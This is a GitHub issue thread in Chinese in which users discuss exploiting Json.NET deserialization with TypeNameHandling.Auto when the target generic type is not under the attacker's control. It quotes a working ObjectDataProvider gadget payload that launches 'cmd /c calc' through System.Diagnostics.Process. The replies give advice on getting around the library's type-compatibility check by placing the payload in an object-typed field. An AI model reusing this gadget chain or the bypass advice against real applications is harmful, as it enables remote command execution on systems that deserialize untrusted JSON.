Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

关于Json反序列化 #2

Open
vencentchow opened this issue Apr 25, 2019 · 3 comments
Open

关于Json反序列化 #2

vencentchow opened this issue Apr 25, 2019 · 3 comments

Comments

@vencentchow
Copy link

vencentchow commented Apr 25, 2019

大佬,如果用ObjectDataProvider作为攻击向量,对下述测试代码进行反序列化:

SomeClass o = JsonConvert.DeserializeObject<SomeClass>(payload, new JsonSerializerSettings() { 
       TypeNameHandling = TypeNameHandling.Auto
 });

并没有弹出计算器,并且报错:

Additional information: Type specified in JSON 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' is not compatible with 'WpfApplication1.SomeClass, WpfApplication1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'. Path '$type', line 4, position 121.

这种情况有没有什么方法能够利用漏洞啊?
换句话来说,就是JsonConvert.DeserializeObject<T>T不能控制的情况下,能利用反序列化漏洞么

@Ivan1ee
Copy link
Owner

Ivan1ee commented Apr 26, 2019

泛型T无所谓的,重点是TypeNameHandling的枚举属性值一定不能为None ,payload请参考安全客:https://www.anquanke.com/post/id/172920

@vencentchow
Copy link
Author

vencentchow commented Apr 30, 2019

泛型T无所谓的,重点是TypeNameHandling的枚举属性值一定不能为None ,payload请参考安全客:https://www.anquanke.com/post/id/172920

枚举值确实不是None,只是泛型不能控制而且不是Object,我的完整测试代码如下:

public MainWindow()
{
    InitializeComponent();

    string payload = @"{
                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'MethodParameters':{
                '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                '$values':['cmd','/c calc']
                },
                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
                }";

    MyClass o = JsonConvert.DeserializeObject<MyClass>(payload, new JsonSerializerSettings()
    {
        TypeNameHandling = TypeNameHandling.Auto
    });
}

private class MyClass {
    string name;
}

上述代码中,泛型如果为Object是可以正常弹出计算器。但是如果泛型为MyClass,弹出错误如下:

Type specified in JSON 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' is not compatible with 'WpfApplication2.MainWindow+MyClass, WpfApplication2, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'. Path '$type', line 2, position 162.

实验了好几次,感觉泛型T必须是ObjectDataProvider的父类或者本身,源于JsonConvert中的下述检测:

if (objectType != null && objectType != typeof(IDynamicMetaObjectProvider) && !objectType.IsAssignableFrom(type))
{
	throw JsonSerializationException.Create(reader, "Type specified in JSON '{0}' is not compatible with '{1}'.".FormatWith(CultureInfo.InvariantCulture, type.AssemblyQualifiedName, objectType.AssemblyQualifiedName));
}

要不然JsonConvert就会报错说not compatible,不知道理解对不对,请大佬不吝赐教~

@forktopot
Copy link

泛型T无所谓的,重点是TypeNameHandling的枚举属性值一定不能为None ,payload请参考安全客:https://www.anquanke.com/post/id/172920

枚举值确实不是None,只是泛型不能控制而且不是Object,我的完整测试代码如下:

public MainWindow()
{
    InitializeComponent();

    string payload = @"{
                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'MethodParameters':{
                '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                '$values':['cmd','/c calc']
                },
                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
                }";

    MyClass o = JsonConvert.DeserializeObject<MyClass>(payload, new JsonSerializerSettings()
    {
        TypeNameHandling = TypeNameHandling.Auto
    });
}

private class MyClass {
    string name;
}

上述代码中,泛型如果为Object是可以正常弹出计算器。但是如果泛型为MyClass,弹出错误如下:

Type specified in JSON 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35' is not compatible with 'WpfApplication2.MainWindow+MyClass, WpfApplication2, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null'. Path '$type', line 2, position 162.

实验了好几次,感觉泛型T必须是ObjectDataProvider的父类或者本身,源于JsonConvert中的下述检测:

if (objectType != null && objectType != typeof(IDynamicMetaObjectProvider) && !objectType.IsAssignableFrom(type))
{
	throw JsonSerializationException.Create(reader, "Type specified in JSON '{0}' is not compatible with '{1}'.".FormatWith(CultureInfo.InvariantCulture, type.AssemblyQualifiedName, objectType.AssemblyQualifiedName));
}

要不然JsonConvert就会报错说not compatible,不知道理解对不对,请大佬不吝赐教~

如果你的泛型MyClass 中的参数有object类型 也是可以的,把payload 写在object 参数里面

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants